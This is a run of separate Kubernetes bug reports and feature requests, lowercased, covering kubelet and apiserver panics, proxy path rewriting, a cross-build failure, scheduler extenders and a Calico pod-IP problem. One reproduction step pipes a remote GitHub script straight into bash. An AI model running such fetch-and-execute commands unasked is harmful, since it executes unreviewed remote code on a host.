annotations:\tdeployment.kubernetes.io/desired-replicas=1\r \t\tdeployment.kubernetes.io/max-replicas=2\r \t\tdeployment.kubernetes.io/revision=2\r replicas:\t1 current / 1 desired\r pods status:\t1 running / 0 waiting / 0 succeeded / 0 failed\r pod template:\r   labels:\t\tapp=prometheus\r \t\t\tpod-template-hash=4088412010\r   service account:\tprometheus\r   containers:\r    prometheus:\r     image:\tquay.io/prometheus/prometheus:v1.7.1\r     port:\t9090/tcp\r     args:\r       -storage.local.retention=360h0m0s\r       -storage.local.memory-chunks=500000\r       -config.file=/etc/prometheus/prometheus.yml\r     environment:\t<none>\r     mounts:\r       /etc/prometheus from config-volume  rw \r       /prometheus from data-volume  rw \r   volumes:\r    config-volume:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tprometheus\r     optional:\tfalse\r    data-volume:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tk8smetrics-prometheus\r     readonly:\tfalse\r events:\t\t<none>\r ~~~\r \r   what you expected to happen  :\r i was expecting the replicaset to be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r created with this deployment: -\r ~~~\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     prometheus.io/scrape: 'true'\r   namespace: kube-system\r   labels:\r     name: prometheus\r     addonmanager.kubernetes.io/mode: ensureexists\r   name: prometheus\r spec:\r   selector:\r     app: prometheus\r   type: clusterip\r   ports:\r   - name: prometheus\r     protocol: tcp\r     port: 9090\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: prometheus\r   namespace: kube-system\r   labels:\r     addonmanager.kubernetes.io/mode: ensureexists\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: prometheus\r   template:\r     metadata:\r       name: prometheus\r       labels:\r         app: prometheus\r     spec:\r       serviceaccountname: prometheus\r       containers:\r       - name: prometheus\r         image: quay.io/prometheus/prometheus:v1.7.1\r         args:\r           - '-storage.local.retention=360h0m0s'\r           - '-storage.local.memory-chunks=500000'\r           - '-config.file=/etc/prometheus/prometheus.yml'\r         ports:\r         - name: web\r           containerport: 9090\r         volumemounts:\r         - name: config-volume\r           mountpath: /etc/prometheus\r         - name: data-volume\r           mountpath: /prometheus\r       volumes:\r       - name: config-volume\r         configmap:\r           name: prometheus\r       - name: data-volume\r         persistentvolumeclaim:\r           claimname: k8smetrics-prometheus\r ~~~\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1409.5.0\r version_id=1409.5.0\r build_id=2017-06-22-2222\r pretty_name=\ container linux by coreos 1409.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  : \r linux ip-10-16-5-136.eu-west-1.compute.internal 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r - install tools: roll-your-own\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i tried to use virtlet with kubernetes release 1.6.6, but a pod with a vm in it gets stuck in \ containercreating\  state.  this problem does not happen with kubernetes release 1.6.3.\r  the log of the responsible kubelet shows a panic when trying to restart the container.  i do not know why the container is being restarted, but that should not cause a panic in any case.  here is an excerpt from the kubelet's log:\r    \r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : i0628 04:30:56.265647   91893 kuberuntime_manager.go:458  container {name:democirros-vm-pvc-1 image:virtlet/volume/boot-volume command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map memory:{i:{value:1073741824 scale:0} d:{dec:<nil>} s:1gi format:binarysi} cpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi}  requests:map memory:{i:{value:1073741824 scale:0} d:{dec:<nil>} s:1gi format:binarysi} cpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi} } volumemounts: {name:boot-volume readonly:false mountpath:/dev/vda subpath:} {name:default-token-xkr6n readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : i0628 04:30:56.265713   91893 kuberuntime_container.go:545  killing container \ docker://virtlet__d5536480-16a1-49b4-54dd-624e0e093882\  with 30 second grace period\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : e0628 04:30:56.265865   91893 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /usr/local/go/src/runtime/asm_amd64.s:479\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /usr/local/go/src/runtime/panic.go:458\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /usr/local/go/src/runtime/panic.go:62\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /usr/local/go/src/runtime/sigpanic_unix.go:24\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:548\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_manager.go:582\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1561\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:755\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:173\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:176\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:214\r jun 28 04:30:56 n11rdu1comp1 hyperkube 91893 : /usr/local/go/src/runtime/asm_amd64.s:2086\r    \r \r it is easy to see a code path that can cause this panic.  the offending line in kuberuntime_container.go is this:\r    \r \tif containerspec.lifecycle != nil && containerspec.lifecycle.prestop != nil {\r    \r and there is indeed a way for  containerspec  to be nil at this point.  earlier in that function we see the line\r    \r \t\tcontainerspec = kubecontainer.getcontainerspec pod, containername \r    \r and there is no intervening statement that checks whether  containerspec  is  nil ;  kubecontainer.getcontainerspec  ends with  return nil .\r \r   what you expected to happen  :\r i expected the virtlet to run, like it does with kubernetes release 1.6.3.\r \r   how to reproduce it  as minimally and precisely as possible   :\r that would take some work, i hope the diagnosis above makes this moot.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@n11rdu1ctrl:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : \ bare metal\   really vms, but who cares? \r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : linux n11rdu1ctrl 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: i installed kubernetes and virtlet using some local ansible\r - others: i am using a local fork of virtlet\r

> uncomment only one, leave it on its own line: \r  \r \r   what happened  :\r i'm trying to reach a application which includes some resources in html, some other dynamically from js.\r \r the apiserver proxy appears to dynamically rewrite the html to \ fix\  url urls by prepending the proxy path  e.g  /api/v1/namespaces/default/services/prometheus/proxy/  . that doesn't work for things loaded via js.\r \r now the application supports setting a proxy prefix to support reverse proxies exposing the service on a different path, which prefixes all urls, including those loaded by js. but since the apiserver proxy seems also prefixes the path, you end up with both.\r \r   what you expected to happen  :\r it took my too long to figure out it's the apiserver proxy which adds the second set of prefixes. in fact, i'm still not 100% sure and i can't find any documentation about this.\r \r while i'm not sure how i feel about the rewriting in general, it should be at least documented but i couldn't find anything in https://kubernetes.io/docs/concepts/cluster-administration/proxies/ nor https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/ manually-constructing-apiserver-proxy-urls

\r i0825 19:05:24.671  +++  0825 19:04:12  windows/amd64: go build started\r i0825 19:05:24.672    k8s.io/kubernetes/pkg/volume/local\r i0825 19:05:24.672  pkg/volume/local/local.go:306: undefined: syscall.stat_t\r    \r https://github.com/kubernetes/kubernetes/pull/49988\r https://k8s-testgrid.appspot.com/misc cross-build\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/3054\r \r cc: @kubernetes/sig-storage-bugs @kubernetes/sig-storage-test-failures @sbezverk @msau42 @rootfs @smarterclayton

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   feature request  :\r \r > uncomment only one, leave it on its own line: \r >\r  @kubernetes/sig-scheduler\r \r   extended scheduler is not able to exempt a node from getting scheduled, for some use case where the base scheduler identifies only one eligible node  based on label and annotation  and passes on to the extended scheduler. now even if the extended scheduler does not return this node back to the base scheduler, the base scheduler can still schedule on this node based on its computed combined weight   :\r \r   the extended scheduler should be able to filter the node list passed by the base scheduler and the returned list of nodes should be considered by the base scheduler  :\r \r   configure extended scheduler  :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.0.4\r - kernel  e.g.  uname -a  :4.10.0-35-generic\r - install tools:\r - others:\r

iirc this condition has been deprecated for a long time; it is probably time to remove it.

is this a feature request?  :\r for air-gapped test runs it's a hard requirement to be able to pull the testing images from a private registry, and it's also a requirement to apply a unified label for cleaning.  \r \r   what happened  :\r currently, neither of these is supported in overrides to the e2e-test-framework\r \r   what you expected to happen  :\r optional overrides with sane defaults. \r \r \r /assign @timothysc \r /cc @dims @kubernetes/sig-testing \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r hi, i have three nodes, they are well prepared for deploying kubernetes and they have password-less login ssh to each other.\r \r |role|ip|\r |:-|:-|\r |master-01|10.130.29.80|\r |master-02|10.130.29.81|\r |master-03|10.130.29.82|\r \r i'm trying to deploy a kubernetes v1.12.1 ha master cluster with  my script  https://github.com/lentil1016/kubeadm-ha/blob/master/kubeha-gen.sh  on them. i set my cidr to 10.244.0.0/16. but after the script finished it's job, i found all pods on  master-02  and  master-03  own an ip that doesn't belongs to the cidr i set, but belongs to 172.17.0.0/16  a.k.a. docker0 cidr . here is an example:\r \r     \r kubectl get pods -o wide -n kube-system                                  \r name                                              ready   status    restarts   age     ip             node                    nominated node\r calico-node-hc6k7                                 1/2     running   0          3m33s   10.130.29.82   centos-7-x86-64-29-82   <none>\r calico-node-jksjw                                 1/2     running   0          3m33s   10.130.29.81   centos-7-x86-64-29-81   <none>\r calico-node-xbblx                                 1/2     running   1          3m33s   10.130.29.80   centos-7-x86-64-29-80   <none>\r coredns-576cbf47c7-mb5xc                          1/1     running   0          5m45s   10.244.0.4     centos-7-x86-64-29-80   <none>\r coredns-576cbf47c7-tzw72                          1/1     running   0          5m45s   10.244.0.5     centos-7-x86-64-29-80   <none>\r etcd-centos-7-x86-64-29-80                        1/1     running   0          4m46s   10.130.29.80   centos-7-x86-64-29-80   <none>\r etcd-centos-7-x86-64-29-81                        1/1     running   0          102s    10.130.29.81   centos-7-x86-64-29-81   <none>\r etcd-centos-7-x86-64-29-82                        1/1     running   0          2m2s    10.130.29.82   centos-7-x86-64-29-82   <none>\r heapster-v1.5.4-65ff99c48d-25xvw                  2/2     running   0          3m17s   172.17.0.2     centos-7-x86-64-29-81   <none>\r kube-apiserver-centos-7-x86-64-29-80              1/1     running   0          2m51s   10.130.29.80   centos-7-x86-64-29-80   <none>\r kube-apiserver-centos-7-x86-64-29-81              1/1     running   3          2m46s   10.130.29.81   centos-7-x86-64-29-81   <none>\r kube-apiserver-centos-7-x86-64-29-82              1/1     running   0          106s    10.130.29.82   centos-7-x86-64-29-82   <none>\r kube-controller-manager-centos-7-x86-64-29-80     1/1     running   2          4m48s   10.130.29.80   centos-7-x86-64-29-80   <none>\r kube-controller-manager-centos-7-x86-64-29-81     1/1     running   1          2m46s   10.130.29.81   centos-7-x86-64-29-81   <none>\r kube-controller-manager-centos-7-x86-64-29-82     1/1     running   0          104s    10.130.29.82   centos-7-x86-64-29-82   <none>\r kube-proxy-4l7fg                                  1/1     running   0          3m55s   10.130.29.81   centos-7-x86-64-29-81   <none>\r kube-proxy-hd2k5                                  1/1     running   0          3m39s   10.130.29.82   centos-7-x86-64-29-82   <none>\r kube-proxy-mgttp                                  1/1     running   0          5m45s   10.130.29.80   centos-7-x86-64-29-80   <none>\r kube-scheduler-centos-7-x86-64-29-80              1/1     running   2          4m46s   10.130.29.80   centos-7-x86-64-29-80   <none>\r kube-scheduler-centos-7-x86-64-29-81              1/1     running   1          3m17s   10.130.29.81   centos-7-x86-64-29-81   <none>\r kube-scheduler-centos-7-x86-64-29-82              1/1     running   0          107s    10.130.29.82   centos-7-x86-64-29-82   <none>\r kubernetes-dashboard-6b475b66b5-d7d78             1/1     running   0          28s     10.244.0.6     centos-7-x86-64-29-80   <none>\r monitoring-influxdb-grafana-v4-65cc9bb8c8-2zcbz   2/2     running   0          3m17s   172.17.0.3     centos-7-x86-64-29-81   <none>\r traefik-ingress-controller-2wkn9                  1/1     running   0          3m22s   10.130.29.82   centos-7-x86-64-29-82   <none>\r traefik-ingress-controller-jkxvg                  1/1     running   0          3m22s   10.130.29.81   centos-7-x86-64-29-81   <none>\r traefik-ingress-controller-kb9v4                  1/1     running   0          2m19s   10.130.29.80   centos-7-x86-64-29-80   <none>\r    \r \r i'm not sure if i should post this issue to  kubernetes  or  calico , but i used to test v1.11.0 kubernetes with same calico manifest, and it doesn't run into this issue. so i think i should post it here first\r \r    \r   on my v1.11.0 cluster\r kubectl get pods -o wide -n kube-system\r name                                            ready     status    restarts   age       ip             node\r calico-node-bzw4n                               2/2       running   0          3m        10.130.29.80   centos-7-x86-64-29-80\r calico-node-l55xb                               2/2       running   0          3m        10.130.29.82   centos-7-x86-64-29-82\r calico-node-x47qr                               2/2       running   0          3m        10.130.29.81   centos-7-x86-64-29-81\r coredns-78fcdf6894-nrzh7                        1/1       running   0          6m        10.244.1.2     centos-7-x86-64-29-81\r coredns-78fcdf6894-pgqmj                        1/1       running   0          6m        10.244.1.5     centos-7-x86-64-29-81\r etcd-centos-7-x86-64-29-80                      1/1       running   0          5m        10.130.29.80   centos-7-x86-64-29-80\r etcd-centos-7-x86-64-29-81                      1/1       running   0          3m        10.130.29.81   centos-7-x86-64-29-81\r etcd-centos-7-x86-64-29-82                      1/1       running   0          1m        10.130.29.82   centos-7-x86-64-29-82\r heapster-55f6bc464-9kk25                        1/1       running   0          3m        10.244.1.3     centos-7-x86-64-29-81\r kube-apiserver-centos-7-x86-64-29-80            1/1       running   0          2m        10.130.29.80   centos-7-x86-64-29-80\r kube-apiserver-centos-7-x86-64-29-81            1/1       running   0          2m        10.130.29.81   centos-7-x86-64-29-81\r kube-apiserver-centos-7-x86-64-29-82            1/1       running   0          1m        10.130.29.82   centos-7-x86-64-29-82\r kube-controller-manager-centos-7-x86-64-29-80   1/1       running   1          4m        10.130.29.80   centos-7-x86-64-29-80\r kube-controller-manager-centos-7-x86-64-29-81   1/1       running   0          3m        10.130.29.81   centos-7-x86-64-29-81\r kube-controller-manager-centos-7-x86-64-29-82   1/1       running   0          2m        10.130.29.82   centos-7-x86-64-29-82\r kube-proxy-9thnt                                1/1       running   0          6m        10.130.29.80   centos-7-x86-64-29-80\r kube-proxy-j6p67                                1/1       running   0          4m        10.130.29.81   centos-7-x86-64-29-81\r kube-proxy-sblcd                                1/1       running   0          3m        10.130.29.82   centos-7-x86-64-29-82\r kube-scheduler-centos-7-x86-64-29-80            1/1       running   1          5m        10.130.29.80   centos-7-x86-64-29-80\r kube-scheduler-centos-7-x86-64-29-81            1/1       running   0          3m        10.130.29.81   centos-7-x86-64-29-81\r kube-scheduler-centos-7-x86-64-29-82            1/1       running   0          2m        10.130.29.82   centos-7-x86-64-29-82\r kubernetes-dashboard-f76dc5995-lf75f            1/1       running   0          3m        10.244.1.7     centos-7-x86-64-29-81\r monitoring-grafana-74f7679848-pll4r             1/1       running   0          3m        10.244.1.6     centos-7-x86-64-29-81\r monitoring-influxdb-84b498559d-7xhfs            1/1       running   0          3m        10.244.1.4     centos-7-x86-64-29-81\r traefik-ingress-controller-kdh9f                1/1       running   0          3m        10.130.29.81   centos-7-x86-64-29-81\r traefik-ingress-controller-ljh52                1/1       running   0          3m        10.130.29.80   centos-7-x86-64-29-80\r traefik-ingress-controller-mg6lm                1/1       running   0          3m        10.130.29.82   centos-7-x86-64-29-82\r    \r \r sorry for i don't know how it happened clearly yet. i'm not sure if this is caused by my misconfigured or a bug, i've tried read controller log, calico log, but i failed to catch any clue. is there any more information i may provide? or any clue i can followed to continuing my debug? thanks. ❤️\r \r   what you expected to happen  :\r \r pods own an ip belongs to the podsubnet i set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r prerequisite:\r - three nodes  centos/fedora  with  v1.12.1   kubeadm  and  kubernetes  installed.\r - they can login each other password-lessly.\r \r reproduce:\r    \r $ echo \ \ \ \r cp0_ip=10.130.29.80\r cp0_hostname=centos-7-x86-64-29-80\r cp1_ip=10.130.29.81\r cp1_hostname=centos-7-x86-64-29-81\r cp2_ip=10.130.29.82\r cp2_hostname=centos-7-x86-64-29-82\r vip=10.130.29.83\r net_if=ens32\r cidr=10.244.0.0/16 \ \ \  > ./cluster-info\r $ bash -c \ $ curl -fssl https://raw.githubusercontent.com/lentil1016/kubeadm-ha/1.12.1/kubeha-gen.sh \ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.1\r - cloud provider or hardware configuration: virtual machine on private cloud\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core  \r - kernel  e.g.  uname -a  : linux centos-7-x86-64-29-80 4.18.12-1.el7.elrepo.x86_64  1 smp thu oct 4 09:36:51 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others: \r \r <!-- do not edit below this line -->\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r after upgrading my k8s cluster from   v1.12.4   to   v1.12.5   i'm currently having issues with  kubectl exec \r \r   e.g  \r  kubectl -n kube-system exec -it <pod-name> sh  \r outputs:\r    \r error: error sending request: post https://<host-ip>:6443/api/v1/namespaces/kube-system/pods/<pod-name>/exec?command=sh&container=<container>&container=<container>&stdin=true&stdout=true&tty=true: unexpected eof\r    \r \r i noticed this error first on   kube-dashboard v1.10.1   anytime i try exec into any pod i get the following error on the screen:\r \r    \r error sending request: post https://10.233.0.1:443/api/v1/namespaces/kube-system/pods/<pod-name>/exec?command=cmd&container=<container>&stderr=true&stdin=true&stdout=true&tty=true: unexpected eof\r    \r \r also tried the following curl request:\r    \r curl -k -x post -d 'https://<api-host>:6443/api/v1/namespaces/kube-system/pods/<pod-name>/portforward' --header \ authorization: bearer <token>\ \r    \r output:\r    \r empty reply from server\r    \r \r \r   what you expected to happen  :\r successfully exec into the provided pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl -n kube-system exec -it <pod-name> sh \r \r   anything else we need to know?  :\r i'm currently using   kubespray v2.8.2   to bootstrap my cluster which uses   kubernetes v1.12.5  \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:   aws  \r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux hostname.ec2.internal 4.4.0-1074-aws  84-ubuntu smp thu dec 6 08:57:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r   note:  \r \r i watched the api server logs using  docker logs <api-container> , this errors pops up everytime i issue the  kubectl exec  command:\r \r    \r e0131 03:05:35.101235       1 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:573\r /usr/local/go/src/runtime/panic.go:502\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:388\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go:167\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go:177\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/pod/rest/subresources.go:195\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/pod/rest/subresources.go:191\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:143\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:188\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:142\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1100\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:225\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:146\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:90\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:64\r /usr/local/go/src/net/http/server.go:1947\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:126\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:50\r /usr/local/go/src/net/http/server.go:1947\r /workspace/anago-v1.12.5-beta.0.98+51dd616cdd25d6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:75\r /usr/local/go/src/net/http/server.go:1947\r 